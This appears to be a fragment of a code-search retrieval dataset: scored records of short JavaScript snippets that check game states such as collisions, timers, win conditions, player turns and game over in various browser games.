"docid": "b17eb00d53d00b1992aacbbfe18ea5bd", "score": "0.62153506", "text": "function checkForCollisions(){\n // check if player1 bullet hit player2 tank\n if (player1.bullet.display){\n\tif (didCollide(player1.bullet, player2.tank)){\n\t player1.bullet.display = false;\n\t if (player2.tank.killed == 0){\n\t\tplayer2.tank.killed = 100;\n\t\t// can't shoot for another 5 seconds\n\t\tplayer1.tank.nextShotAllowed = Date.now() + 5000;\n\t }\n\t}\n }\n\n // check if player1 bullet hit player1 tank\n if (player2.bullet.display){\n\tif (didCollide(player2.bullet, player1.tank)){\n\t player2.bullet.display = false;\n\t if (player2.tank.killed == 0){\n\t\tplayer1.tank.killed = 100;\n\t\t// can't shoot for another 5 seconds\n\t\tplayer2.tank.nextShotAllowed = Date.now() + 5000;\n\t }\n\t}\n }\n}", "title": "" }, { "docid": "de274c99966dd086083a848d93461028", "score": "0.6200684", "text": "function checkStatus(){\n if( !isPlaying && time === 0) {\n // Display message that game is over and disable input field\n message.style.color = \"#e1302a\";\n message.innerHTML = \"GAME OVER !\";\n wordInput.disabled = true;\n\n // After 1 second launch game over function.\n setTimeout(() => {\n gameOver();\n }, 1000);\n }\n}", "title": "" }, { "docid": "632db84af105e291b76fb844adfa0e04", "score": "0.61981636", "text": "function checkTimeOut(){\n\tvar timeLeft=100-Math.floor(this.counter/8);\n\tif (timeLeft<=0){\n\t\tcanvas.blur();\n\t\tclearInterval(refreshing);\n\t\tcover.innerHTML=\"TIME OUT\";\n\t\tcover.style.visibility=\"visible\";\n\t\taudio.src=\"\";\n\t\taudioEat.src=\"gameOver\";\n\t}\n}", "title": "" }, { "docid": "a0bdad8264ef24d483aacb7b4b75442d", "score": "0.61887735", "text": "function checkPlayerJumpForward() {\n if ($player.position().top >= playerTop) {\n\n isMoving = 0;\n }\n level1JumpId = requestAnimationFrame(checkPlayerJumpForward);\n }", "title": "" }, { "docid": "63861f7c2788cdb61166cf3ee215b7c7", "score": "0.61866254", "text": "function checkTimer() {\r\n if (timeLeft === 0) stopClock();\r\n}", "title": "" }, { "docid": "8c076e0854b37523e7d5267e8e295028", "score": "0.6180864", "text": "function inGame() {\n if (display <= 0) {\n return false\n }\n\n if (player.civilianKill == 5) {\n return false\n }\n\n if (player.shot == 0) {\n return false\n }\n\n if (player.live == 0) {\n return false\n }\n return true\n}", "title": "" }, { "docid": "dca7a757bce2b7a4c333b2101cad2e3d", "score": "0.6178479", "text": "function gameIsOver() {\n if (guessesRemaining <= 0) return true;\n else return false;\n}", "title": "" }, { "docid": "88c3d8f3358f06db118762ad8309a4fe", "score": "0.6166358", "text": "function isgameOver () {\n if (guessesremaining > 0 ) {\n \n return false;\n } else {\n \n return true;\n }\n}", "title": "" }, { "docid": "6b650f5958cbcb09f5eb98eaea36d209", "score": "0.6154421", "text": "function checkIfFinished() {\n\t\tvar diff;\n\n\t\tif (isGameOver) {\n\t\t\t// set end time\n\t\t\tendTime = new Date();\n\n\t\t\tfor (var x = 0; x < fieldSize; x++) {\n\t\t\t\tfor (var y = 0; y < fieldSize; y++) {\n\t\t\t\t\tdiscover(x, y, false);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// set sad smiley\n\t\t\tsmiley.src = \"img/sad.png\";\n\n\t\t\t// event\n\t\t\tif (typeof instance.onGameOver == 'function') {\n\t\t\t\tinstance.onGameOver();\n\t\t\t}\n\t\t} else {\n\t\t\tfor (var x = 0; x < fieldSize; x++) {\n\t\t\t\tfor (var y = 0; y < fieldSize; y++) {\n\t\t\t\t\tif ((field[x][y] < 0) && (mines[x][y] == 0)) {\n\t\t\t\t\t\treturn; // not finished - yet\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tendTime = new Date();\n\t\t\tfor (var x = 0; x < fieldSize; x++) {\n\t\t\t\tfor (var y = 0; y < fieldSize; y++) {\n\t\t\t\t\tif ((field[x][y] < 0) && (mines[x][y] != 0)) {\n\t\t\t\t\t\tfield[x][y] = 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// set game state and happy smiley\n\t\t\tisFinished = true;\n\t\t\tsmiley.src = \"img/happy.png\";\n\n\t\t\t// time\n\t\t\tdiff = Math.floor((endTime.getTime() - startTime.getTime()) / 100.0);\n\t\t\tscore = Math.floor(10000 * minesDensity * fieldSize\n\t\t\t\t / Math.pow(diff, 1.0/3.0));\n\n\t\t\t// event\n\t\t\tif (typeof instance.onFinished == 'function') {\n\t\t\t\tinstance.onFinished();\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "7d27b7aa90dc99cc0baae5b5a5e8e999", "score": "0.6145059", "text": "function checkTargetTime() {\r\n var d = new Date();\r\n var m = d.getMinutes();\r\n var s = d.getSeconds();\r\n if ( m == 59 && s == 55 ) {\r\n play_now();\r\n }\r\n}", "title": "" }, { "docid": "d76689cfce5d0465102ee08259aceff6", "score": "0.61331576", "text": "checkIfPicked() {\n if (player.x >= this.x - 83\n && player.x <= this.x + 83\n && player.y > this.y\n && player.y < this.y + 83\n && this.onscreen === true) {\n return true;\n }\n }", "title": "" }, { "docid": "f42ccca83bb2362aae96e2dc2e359851", "score": "0.6132911", "text": "function isGameWon() {\n return lockedCards.length === cards.length;\n}", "title": "" }, { "docid": "583662092dc07a3657f3963d2111196c", "score": "0.61022687", "text": "function checkStatus()\n{\n if(!isPlaying && time === 0)\n {\n message.innerHTML = \"Game Over!\";\n score = -1;\n }\n}", "title": "" }, { "docid": "b8f6d05494de47c07f58e560d46bc789", "score": "0.6094102", "text": "function gameOver() {\n const PLAYER_WON = score >= WINNING_SCORE;\n const TIME_UP = PLAYING_TIME.seconds === 0 && PLAYING_TIME.mins === 0;\n return TIME_UP || PLAYER_WON;\n }", "title": "" }, { "docid": "d058a4395d54eb1009d44e197a92f040", "score": "0.60747695", "text": "function checkIfKeyUpOkay(){\n if(!started)return\n\tfirst_down = true\n\tcurrent_time = Date.now()/1000 - start_time\n\tfor(k in a){\n \tv = a[k]\n \tt=v[1]\n if(last_time_okay != t && Math.abs(t-current_time) < time_to_get_okay){\n \tsuccess(k)\n last_time_okay = t\n }else if(last_time_okay == t && Math.abs(t-current_time)){\n \tfail()\n }\n }\n}", "title": "" }, { "docid": "a0e916703850ec9b23fbee7f0b61d564", "score": "0.6046365", "text": "isTime() {\n\t\t// i'm going to add a cooldown here\n\t\t// like\n\t\t// depending on the time since the start of the game it will pick a random number of game ticks to loop thru until it spawns another veggie\n\t\t// then when cooldown = 0 it spawns a veg and pick a new number\n\t\tif (this.cooldown <= 0) {\n\t\t\treturn true;\n\t\t} else {\n\t\t\tthis.cooldown --;\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "15d1de764e44b9e3f12679d05839cc2e", "score": "0.6046221", "text": "checkPlayerisAttacked(scene, player, game) {\n if (player.hurtflag) {\n game.hurtPlayer(scene, player);\n game.updateHealthHud(player);\n\n //audios\n if (player.beamHit) {\n game.audio_hitbeam();\n player.beamHit = false;\n }\n if (!player.isAlive())\n game.audio_gameOver(); //audio this.game over cuando matan al lobo\n else\n game.audio_playerHurt();\n\n }\n }", "title": "" }, { "docid": "a7fb160c3ff267739d54cc4bd08f7d1d", "score": "0.60424054", "text": "function checkWin() {\n if ((enemies.children().length === 0) && (defender.children().length === 0) && (heroLife > 0)) {\n battleTheme.pause();\n battleTheme.currentTime = 0;\n victory.play();\n battleLog.html(\"That's Amazing! You Won!!\");\n }\n }", "title": "" }, { "docid": "8d55f3f728ecfae67f3ef40ffee48a48", "score": "0.60377926", "text": "function waitForPlayer() {\r\n\tif (!unsafeWindow.g_player) {\r\n\t\tsetTimeout(waitForPlayer, 100);\r\n\t}\r\n\telse {\r\n\t\tmain();\r\n\t}\r\n}", "title": "" }, { "docid": "c7e32b409639d5ae284b2a3e90855ae7", "score": "0.60311717", "text": "function $checkWinner() {\n // check for a winner. if there is one, end the game, since there's only 2 players\n if (game.winner !== '') {\n $endGame();\n } else {\n // there is no winner yet and the current player should be making a move\n var currPlayer = game.currPlayer;\n $('.play').show();\n $('#message').text('You have ' + game.players[currPlayer].points + '. Hit or Stand?');\n }\n}", "title": "" }, { "docid": "ea6f848049c27ef6aaf16db4f5b1d72a", "score": "0.6022913", "text": "function checkEndGame() {\n var players_remain = 0;\n var survivor = {};\n for (var key in players) {\n if (players[key].life > 0) {\n players_remain++;\n survivor = players[key];\n }\n }\n if (players_remain <= 1) {\n self.emit('end_game', survivor);\n status = 3;\n }\n }", "title": "" }, { "docid": "c5110c373884213854ddb8dbc031bc96", "score": "0.60087913", "text": "function checkStatus() {\n if (!isPlaying && time === 0) {\n message.innerHTML = \"Game over!!\";\n message.style.color = \"yellowgreen\";\n score = -1;\n }\n}", "title": "" }, { "docid": "6d837b0cef406e46374225f69e89058b", "score": "0.59965277", "text": "isAttackingPlayer() {\n return this.game.currentConflict && this.game.currentConflict.attackingPlayer === this;\n }", "title": "" }, { "docid": "2badb7947cf528f1a182b4dad12749cc", "score": "0.5994571", "text": "checkForWinner(player) {\n if (player.getCardsLeft() === 0) this.gameIsOver = true;\n }", "title": "" }, { "docid": "0724d6ac7a692db58a4376d56544778b", "score": "0.59885216", "text": "checkDied() {\n if(this.x < DEATH_THRESHHOLD) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "f835a71648e73bd0457950c4453dd56e", "score": "0.5978962", "text": "check_game_finished() {\n const unfinishedPlayers = Object.keys(this.players).filter(pid => !this.players[pid].finished);\n if (unfinishedPlayers.length == 1) {\n this.finished_players.push(unfinishedPlayers[0]);\n // game is finished\n this.finished = true;\n }\n }", "title": "" }, { "docid": "b389059be27ae97a6b1068a3483b0030", "score": "0.5968627", "text": "function checkUnlockGameState() {\n\tif (current_game_start === undefined || (current_game_is_boss == true && boss_options.last_report === undefined))\n\t\treturn;\n\tvar now = new Date().getTime();\n\tif (current_game_is_boss) {\n\t\tvar timeDiff = (now - boss_options.last_report) / 1000;\n\t} else {\n\t\tvar timeDiff = (now - current_game_start) / 1000;\n\t}\n\tvar maxWait = 300; // Time (in seconds) to wait until we try to unlock the script\n\tif (timeDiff < maxWait)\n\t\treturn;\n\tgui.updateTask(\"Виявлено, що ігровий скрипт заблоковано. Спроба розблокувати...\");\n\tif (auto_switch_planet.active == true) {\n\t\tCheckSwitchBetterPlanet(true);\n\t} else {\n\t\tSwitchNextZone(0, true);\n\t}\n}", "title": "" }, { "docid": "e096e3812e58b945b18780a0461b9b97", "score": "0.59681153", "text": "gameWon() {\r\n return (this._player1Score >=4 && this._player1Score >= this._player2Score + 2) ?\r\n this._player1 : (this._player2Score >=4 && this._player2Score >= this._player1Score + 2) ? this._player2 : undefined;\r\n }", "title": "" }, { "docid": "87f7ae7386ecad84a7a2f4cbb5bc7472", "score": "0.59619135", "text": "function game(){\n\t\tvar gameUpdate = setTimeout(function(){\n\n\t\t\tconsole.log( \"checking...\");\n\t\t\t// menu();\n\t\t\t// submenu();\n\t\t\t// dragon();\n\n\t\t\tif( HP_enemy <= 0 ){\n\t\t\t\talert( \"You win\");\n\t\t\t}else if(HP_ally<=0){\n\t\t\t\talert('you lose');\n\t\t\t}else{\n\t\t\t\tgame();\n\t\t\t}\n\n\t\t}, 51000)\n\t}", "title": "" }, { "docid": "c05f7be298a2be9d51e7d931c1c29fef", "score": "0.59593135", "text": "function checkPlayerDie() {\n\tif (gameChar_y > height) {\n\t\tlives -= 1;\n\t\tif (lives > 0) {\n\t\t\tstartGame_level01();\n\t\t}\n\t}\n}", "title": "" }, { "docid": "2cb1728d72cc1c3faa9db7f6ac979ce2", "score": "0.59586555", "text": "function checkIfFinish(){\n if(desk.length == placed.length){\n finishByPlayer();\n }\n}", "title": "" }, { "docid": "513ecd4723c5736009d9e20da71a70a1", "score": "0.5956469", "text": "function checkStatus () { \n\n\tif (time ==0) { \n\n\t\tgameStatus.innerHTML = \"Game Over!!!\";\n\t\tscore = 0;\n\n\t}\n\t \n\t\tsetTimeout (checkStatus, 50);\n}", "title": "" }, { "docid": "28baca901821cf55b4afcdeb4544f2ff", "score": "0.5955241", "text": "playingTick() {\n if(this.room.state === \"idle\") {\n let partyReady = true;\n\n // Check if all players are ready\n for(let player of this.players.values())\n partyReady &= player.action === \"ready\";\n\n if(partyReady) {\n this.setState(this.room, \"moving\");\n this.room.steps = 0;\n for(let player of this.players.values())\n this.setState(player, {\n \"state\": \"walking\",\n \"id\" : player.id\n });\n }\n } else if(this.room.state === \"moving\") {\n this.room.steps++;\n if(this.room.steps >= 100) {\n this.room.steps = 0;\n this.startBattle();\n }\n } else if(this.room.state === \"battle\") {\n for(let player of this.players.values()) {\n if(player.state === \"cooldown\") {\n player.cooldown++;\n this.queueMessage(new Message(0, \"player-set\", {\n \"id\": player.id,\n \"keys\": [\n \"cooldown\"\n ],\n \"values\": [\n player.cooldown\n ]\n }));\n if(player.cooldown === player.job.cooldown) {\n this.setState(player, {\n \"state\": \"idle\",\n \"id\": player.id\n });\n }\n }\n }\n }\n }", "title": "" }, { "docid": "b587ad21155d5a953a86133b19221283", "score": "0.59538186", "text": "function isEndgame() {\n\treturn player.dev.total.gte(12)&&player.points.gte(1e56)&&player.v.points.eq(1)\n}", "title": "" }, { "docid": "56e87d0d7261af5556952862c0a70f2b", "score": "0.59263223", "text": "function gameIsReady(){\n if(getReadyPlayers() > 1 && gameOn == false){\n \n gameOn = true;\n \n startGamePre();\n /*\n var counter = 10;\n \n var t = setInterval(function(){ \n \n addToChat(\"Game will start in \"+counter+\" seconds\");\n \n if(counter == 1){\n clearInterval(t);\n startGamePre();\n }\n \n counter--;\n\n },1000);\n */\n }\n \n \n}", "title": "" }, { "docid": "93b771c5803489eed7e9aae5814b8b09", "score": "0.5919052", "text": "isGameOver() {\n \n }", "title": "" }, { "docid": "c777a6c70dda2e980c5bb56078d4139c", "score": "0.591578", "text": "function checkDisconnect() {\n if((player.lastUpdate + world.maxRTT < world.clock.now()) || player.destroyT < Infinity) {\n disconnect()\n }\n }", "title": "" }, { "docid": "086976bbd1d526069128f4ba84d85ae7", "score": "0.59141123", "text": "function checkGameOver() {\n if (spaceship.death === true) {\n gameOver = true;\n playing = false;\n }\n}", "title": "" }, { "docid": "9bb5cd4d9189339382e36b3ee6af5aa9", "score": "0.5913461", "text": "function checkGameStatus() { \n\t\t\tvar sticksLeft = $('#stickGameWrapp .sticksSection .stick').length;/* here must be strict path to sticks */\n\t\t\tif(sticksLeft) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\treturn false;\n\t\t}", "title": "" }, { "docid": "550651eb14dd29ac71ab795fb906c01e", "score": "0.5913083", "text": "checkTheEnd() {\n if (this.player1.health <= 0 || this.player2.health <= 0) {\n this.theEnd = true;\n } else {\n console.log('THE ROUND IS STILL GOING!');\n }\n }", "title": "" }, { "docid": "f8d4370320bca4e4aa59a3fd6ba4f3b3", "score": "0.5902852", "text": "function checkGameState() {\r\n _currentTimestamp = getCurrentTime();\r\n if(a_end[0] < _currentTimestamp) {\r\n if(a_end[0] !== 0) {\r\n a_gameState = 2;\r\n }\r\n else {\r\n a_gameState = 0;\r\n }\r\n }\r\n else {\r\n a_gameState = 1;\r\n }\r\n}", "title": "" }, { "docid": "7d33b15137c0f3e3ad37d1e0c027b882", "score": "0.58892184", "text": "function isOtherPlayer(direction) {\n\n for (var id in otherPlayers) {\n if (id != socket.id) {\n //The other player\n var player2 = otherPlayers[id];\n\n if (direction == 'right') {\n //If they are within 60 pixels of eachother, and the player tries to move right, will return true to stop them\n if ((player2.x - player.x < 60 && player.x < player2.x) && (player.y - player2.y < 60 && player.y - player2.y > -60)) {\n return true\n }\n }\n\n else if (direction == 'left') {\n //If they are within 60 pixels of eachother, and the player tries to move left, will return true to stop them\n if ((player.x - player2.x < 60 && player2.x < player.x) && (player.y - player2.y < 60 && player.y - player2.y > -60)) {\n return true\n }\n }\n\n else if (direction == 'up') {\n //If they are within 60 pixels of eachother, and the player tries to move up, will return true to stop them\n if ((player.y - player2.y < 60 && player2.y < player.y) && (player.x - player2.x < 60 && player.x - player2.x > -60)) {\n return true\n }\n\n }\n else if (direction == 'down') {\n //If they are within 60 pixels of eachother, and the player tries to move down, will return true to stop them\n if ((player2.y - player.y < 60 && player.y < player2.y) && (player.x - player2.x < 60 && player.x - player2.x > -60)) {\n\n return true\n }\n }\n //If there is no other player in the direction the player is heading in, return false\n return false;\n }\n }\n}", "title": "" }, { "docid": "1c82e4c8053eb75057d8c8d6e6989516", "score": "0.5889128", "text": "function checkGameState() {\r\n\t_currentTimestamp = getCurrentTime();\r\n\tlet _end = parseInt(a_end);\r\n if(_end < _currentTimestamp) {\r\n if(_end !== 0) {\r\n a_gameState = 2;\r\n }\r\n else {\r\n a_gameState = 0;\r\n }\r\n }\r\n else {\r\n a_gameState = 1;\r\n }\r\n}", "title": "" }, { "docid": "2b8aa17f020c0894ec44273a60d9fca8", "score": "0.5884429", "text": "function checkMove() {\n for (var i = 0; i < counter + 1; i++) {\n if (playerMoves[i] != computerMoves[i]) {\n if (strict) {\n tryAgainLooper = setInterval(tryAgain, 450);\n playerIntervalIds.push(tryAgainLooper);\n resetScores();\n return;\n } else {\n tryAgainLooper = setInterval(tryAgain, 450);\n playerIntervalIds.push(tryAgainLooper);\n return;\n }\n }\n }\n counter += 1;\n playerLoop();\n }", "title": "" }, { "docid": "ba0e683d719ba0185e120edfac4714f1", "score": "0.5866767", "text": "function checkGameStatus(){\r\n numTurns++; //count turn\r\n \r\n //check Win\r\n if(checkWin()) {\r\n gameStatus = currentPlayer + \" wins!\";\r\n\t\t\r\n\t //game is over\r\n\t if (gameStatus != \"\") {\r\n setTimeout(function() {showLightBox(gameStatus, \"Game Over!\");}, 400);\r\n }\r\n\t \r\n\t//check for tie\r\n }else if(numTurns == 9 && !checkWin()) {\r\n gameStatus = \"Tie Game!\";\r\n\t if (gameStatus != \"\") {\r\n setTimeout(function() {showLightBox(gameStatus, \"Game Over...\");}, 400);\r\n }\r\n }//if\r\n \r\n //switch current player\r\n currentPlayer = (currentPlayer == \"X\") ? \"O\" : \"X\";\r\n}", "title": "" }, { "docid": "31f48069909812b0bf87283ef80c953a", "score": "0.5865633", "text": "function modTick(){\n if(getTile(Player.getX(),Player.getY()-2,Player.getZ()) == teleporterId && teleported != 1){\n if(GUI != 1){\n GUI = 1\n ShowTeleportersMenu()\n }\n }\n if(getTile(Player.getX(),Player.getY()-2,Player.getZ()) != teleporterId && teleported == 1){\n teleported = 0\n GUI = 0\n }\n}", "title": "" }, { "docid": "0d29cca71932017a1302c35d3a017034", "score": "0.5863411", "text": "function checkTime(msg, cmd) {\n\n var out = cooldown(msg.author.id, msg.guild.id, cmd);\n\n if (out) {\n discordUtils.sendAndDelete(msg.channel, out);\n return false;\n } else {\n return true;\n }\n}", "title": "" }, { "docid": "267bd82f326c8af2c03156559e2203f4", "score": "0.5862656", "text": "function checkAvailablePlays() {\n for (var c=0; c < this.board.length; c++) {\n if (!this.board[c]) {\n return true;\n }\n }\n this.state = this.STATE_FINISHED;\n this.winner = 0;\n this.nextPlayer = 0;\n return false;\n }", "title": "" }, { "docid": "f56757ec87fdaa58dc3dd406b6769e99", "score": "0.5856079", "text": "function checkDead(player){\n var life = player.health;\n if (life <= 0){\n console.log(\"PLAYER \"+player.playerNum + \" IS DEAD\");\n $(\"#gameEnd\").show();\n }\n}", "title": "" }, { "docid": "de683bf2f5ccb15a6e106f6535e3d1ca", "score": "0.5853868", "text": "function checkGameOutcome(){\n\t\t//if you are past the canyon, announce victory\n\t\tif((heroLocation - 2) > canyonLocation){\n\t\t\tmessage='you got past the canyon: you won';\n\t\t\tgameLog(message);\n\t\t\tgameOver=true;\n\n\t\t\t//add to list function calls for the viewport (filter actions that have no graphical relevance)\n\t\t\tcallTrace.push('winGame');\n\t\t}\n\n\t\t//if you reached maximum number of steps, terminate\n\t\tif(currentStep >= maxSteps){\n\t\t\tloseGame();\n\t\t}\n\t}", "title": "" }, { "docid": "a02e2611fa7e451f3d9d772929fe4d2c", "score": "0.5852123", "text": "function checkGameOver() {\n\tif (game.params.matchesCounter === game.resources.availableValues.length){\n\t\tshowEndMessage();\n\t\tresetTimer()\n\t}\n}", "title": "" }, { "docid": "dfc91f0ea9978346d8c16d7895fb2a4f", "score": "0.58505416", "text": "function checkCollisions(gameBoard, index, player, lobby) {\n let players = getLobbyPlayers(lobby);\n let statusTimer = getStatusTimer(lobby);\n\n // First check if player is colliding with nothing\n if (gameBoard[index] == 0 || (gameBoard[index] == 8 && player.role != 4)) {\n return true;\n } // Player collides with dot or pill\n else if (gameBoard[index] == 6 || gameBoard[index] == 2) {\n if (player.role == 4) { // Check if player is pacman\n if (gameBoard[index] == 6) { // pacman consumed pill\n if (getStatus(lobby) == 0) {\n switchStatus(lobby);\n statusTimer = setTimeout(function() {\n if (getGame(lobby) != undefined) switchStatus(lobby); // Only switch status if the game is not over (game could end by the time this is run).\n }, 10000);\n setStatusTimer(lobby, statusTimer);\n }\n else { // Pacman recently consumed pill. Reset the 10 second countdown\n clearTimeout(statusTimer);\n statusTimer = setTimeout(function() {\n if (getGame(lobby) != undefined) switchStatus(lobby); // Only switch status if the game is not over (game could end by the time this is run).\n }, 10000);\n setStatusTimer(lobby, statusTimer);\n }\n }\n incrementScore(lobby, player.role, 1);\n gameBoard[index] = 0; // dot or pill will be replaced with empty space after pacman moves again (prevPosType set after this function in game())\n return true;\n }\n else { // Ghost moved over pill/dot\n return true;\n }\n } // Player collides with another player\n else if (gameBoard[index] == 3 || gameBoard[index] == 4 || gameBoard[index] == 5 || gameBoard[index] == 7) {\n if (player.role == 4) {\n if (getStatus(lobby) == 1) {\n // Check to see if the ghost that PacMan is colliding with is in a ghost Lair spot. If they are then PacMan will stop moving (return false)\n for (let i = 0; i < players.length; i++) {\n if (index == getIndex(lobby, players[i].role) && getPrevPosType(lobby, players[i].role) == 8) {\n return false;\n }\n }\n\n // Pacman collides with (eats) ghost\n incrementScore(lobby, player.role, 2);\n var pointUnderGhost = false;\n players.forEach(player => {\n if (index == getIndex(lobby, player.role)) {\n // Check to see if ghost was passing over dot or pill. if so, pacman gains points\n if (getPrevPosType(lobby, player.role) == 2 || getPrevPosType(lobby, player.role) == 6) {\n pointUnderGhost = true;\n }\n respawn(gameBoard, player, lobby); // Ghost repawns\n }\n });\n if (pointUnderGhost) incrementScore(lobby, player.role, 1);\n }\n else { // Pacman collided with ghost\n players.forEach(player => {\n if (index == getIndex(lobby, player.role)) {\n incrementScore(lobby, player.role, 15); // Ghost killed pacman and increases score\n }\n });\n gameBoard[getIndex(lobby, player.role)] = 0; // Pacman ran into ghost. Their character disappears\n respawn(gameBoard, player, lobby); // Pacman respawns\n }\n return true; // Pacman collided with another player. One of them respawns.\n }\n else { // A ghost collided with another player\n if (gameBoard[index] == 7) { // A ghost collided with pacman\n if (getStatus(lobby) == 1) { // Pacman ate a pill and can eat ghosts\n players.forEach(player => {\n if (index == getIndex(lobby, player.role)) {\n incrementScore(lobby, player.role, 2); // Pacman ate this ghost and increases score\n setPrevPosType(lobby, player.role, 0); // Replace ghost with empty space after pacman moves\n }\n });\n respawn(gameBoard, player, lobby); // This ghost respawns\n }\n else { // Pacman can't eat ghosts and is killed\n incrementScore(lobby, player.role, 15); // Ghost killed pacman\n players.forEach(player => {\n if (index == getIndex(lobby, player.role)) {\n respawn(gameBoard, player, lobby); // Pacman respawns\n }\n });\n }\n return true; // Ghost collided with pacman. one of them respawns.\n }\n else { // Lastly, a ghost collides with another ghost\n players.forEach(player => {\n if (index == getIndex(lobby, player.role)) {\n return false; // no update made between these two players\n }\n });\n }\n }\n }\n else if (gameBoard[index] == 1 || (gameBoard[index] == 8 && player.role == 4)) {\n setDirection(lobby, player.role, 0); // Player is no longer moving when they run into wall\n return false; // No update made since player ran into wall\n }\n }", "title": "" }, { "docid": "d1a10ec1507833ee6ef9637043370941", "score": "0.5845028", "text": "function checkTie() {\r\n var result = false;\r\n if (!checkWin(humanSymbol) && !checkWin(computerSymbol) && turns === 9) { // if neither player has won and every spot on the board is filled\r\n result = true;\r\n }\r\n return result;\r\n}", "title": "" }, { "docid": "6c516baa4071c426efae89273f4de38e", "score": "0.58443207", "text": "playerCanPlay(player) {\n return this.inProgress\n && player.playingCurrentHand == true\n && player.playedTheirTurn == false\n && player == this.players[this.playerTurn]\n && !this.revealHands;\n }", "title": "" }, { "docid": "5e7bdf3b96bf5ceefca86fe46ea1371d", "score": "0.5835671", "text": "checkReadyStatus() {\n return this.playerReady.player1 && this.playerReady.player2;\n }", "title": "" }, { "docid": "3153a26e512be61901e2ba59214827ad", "score": "0.5828646", "text": "function checkPlayer()\n{\n console.log(\"checkPlayer PlayerID: \" + players[gameTurn].playerID);\n if (players[gameTurn].playerID == \"Bot\"){\n clickEvent();\n }\n return;\n}", "title": "" }, { "docid": "a8981608b36baac9a169d4d0aba4b094", "score": "0.58281857", "text": "isOver() {\n return this.stopped || isGameOver(this.gameState, this.players);\n }", "title": "" }, { "docid": "cdc8dcbc33a463073dd3d5044f79a28f", "score": "0.58236563", "text": "function checkGameOver() {\r\n\r\n}", "title": "" }, { "docid": "f348122a23706cc87e1472f88a022ea3", "score": "0.58229303", "text": "function checkPlayerDie(){\n if(gameChar_y > height + 70\n && gameChar_y < height + 75)\n {\n lives -= 1;\n \n if(lives < 1){\n isPlummeting = false;\n lives = 0;\n game_over = true;\n }\n else if(lives >= 1){\n console.log('lost life: -1'); \n startGame();\n }\n }\n}", "title": "" }, { "docid": "46a6135bf0c7b7edfe30f75a05f6d5c8", "score": "0.58212894", "text": "function isMyTurn() {\r\n return currentPlayerIndex === 0;\r\n }", "title": "" }, { "docid": "fba03faaeef6f1602401a4f405ae97ba", "score": "0.5818262", "text": "function checkEveryoneReady(){\n\t\n\tif(playersReady>=nbPlayerConnected){\n\t\tlet timeStart = Date.now()+20000; \n\t\tio.emit('starting',timeStart);\n\t\tplayerInGame = playersReady;\n\t\tconsole.log('EVERYONE READY !');\n\t\tplayersReady = 0;\n\t\tgameRestarting = false ;\n\t}\n}", "title": "" }, { "docid": "e2aca3bb3cba97619b5c4e44adf64c8b", "score": "0.5809346", "text": "playerCheck(user) {\n if (user.id in this.userToPlayer) {\n var player = this.userToPlayer[user.id];\n if (this.playerCanPlay(player)) {\n if (this.currentBet == player.chipsOnTable) {\n if (this.timerId) {\n clearTimeout(this.timerId);\n this.timerId = null;\n }\n\n logger.info(\"Player \" + player.user.name + \" checked.\");\n this.logForUsers += \"Player \" + player.user.name + \" checked.\\n\";\n player.playedTheirTurn = true;\n this.nextPlayerTurn();\n }\n }\n }\n }", "title": "" }, { "docid": "e73bbe8d10d032c1a2295766aa5c8cd2", "score": "0.58082056", "text": "isPlaying() {\r\n return !(this.player.paused || this.client.paused);\r\n }", "title": "" }, { "docid": "015701f4fea0547aaa1fecfdf4073d2e", "score": "0.5807431", "text": "function games_is_not_it(){\n\tif (!this.it_game){\n\t\treturn;\n\t}\n\n\tlog.info('[GAMES] '+this+\" is no longer it!\");\n\n\t// Cancel overlays\n\tthis.overlay_dismiss('it_game_tip');\n\n\t// Cancel timer?\n\tif (this.games_it_game_is_started()){\n\t\tlog.info('[GAMES] '+this+' is below the play line, pausing timer');\n\n\t\tif (!this.it_game.crown_start) this.it_game.crown_start = time();\n\t\tvar delta = time() - this.it_game.crown_start;\n\t\tthis.it_game.crown_time += delta;\n\n\t\tthis.achievements_increment('it_game', 'seconds_with_crown', delta);\n\n\t\tthis.apiCancelTimer('games_end_it_game');\n\n\t\tthis.apiSendAnnouncement({\n\t\t\tuid: \"it_game_tip\",\n\t\t\ttype: \"vp_overlay\",\n\t\t\tduration: 3000,\n\t\t\tlocking: false,\n\t\t\twidth: 500,\n\t\t\tx: '50%',\n\t\t\ttop_y: '15%',\n\t\t\tclick_to_advance: false,\n\t\t\ttext: [\n\t\t\t\t'<p align=\"center\"><span class=\"nuxp_vog_brain\">You\\'re no longer it! Get it back before they win!</span></p>'\n\t\t\t]\n\t\t});\n\t}\n\telse{\n\t\tlog.info('[GAMES] '+this+' is above the play line');\n\n\t\tthis.apiSendAnnouncement({\n\t\t\tuid: \"it_game_tip\",\n\t\t\ttype: \"vp_overlay\",\n\t\t\tduration: 3000,\n\t\t\tlocking: false,\n\t\t\twidth: 500,\n\t\t\tx: '50%',\n\t\t\ttop_y: '15%',\n\t\t\tclick_to_advance: false,\n\t\t\ttext: [\n\t\t\t\t'<p align=\"center\"><span class=\"nuxp_vog_brain\">You\\'re no longer it! Get it back and go through the play line to win!</span></p>'\n\t\t\t]\n\t\t});\n\t}\n\n\tthis.announce_remove_indicator('it_game_crown');\n\tthis.games_set_notit_map();\n\tthis.announce_sound('YOU_LOSE_CROWN');\n}", "title": "" }, { "docid": "7b86240da3720ad1677bab7212c6b95b", "score": "0.58068264", "text": "function checker(whoo) {\n // win\n if ( (whoo === \"player\") && (gridCheck(playerSign)) ) {\n isFinished = true;\n setTimeout(function() {\n reset(\"You win!\");\n }, 500);\n }\n // lose\n else if ( (whoo === \"comp\") && (gridCheck(compSign)) ) {\n setTimeout(function() {\n reset(\"You lose!\");\n }, 500);\n }\n // tie\n else if (turn === 9) {\n setTimeout(function() {\n reset(\"You tie!\");\n }, 500);\n }\n}", "title": "" }, { "docid": "aca6ede3613ba86109372d0e6d5c99b7", "score": "0.5806626", "text": "function checkTime(){\n\ttime_left= (endTime - Date.now())/1000;\n\tvar seconds = Math.round(time_left%60);\n\tvar minutes = Math.floor(time_left/60);\n\n\tif(seconds < 10){ $(\"#time_left\").text(\"0\" + minutes+\":0\"+seconds);}\n\telse{ $(\"#time_left\").text(\"0\" + minutes+\":\"+seconds); }\n\tif( time_left < 15) 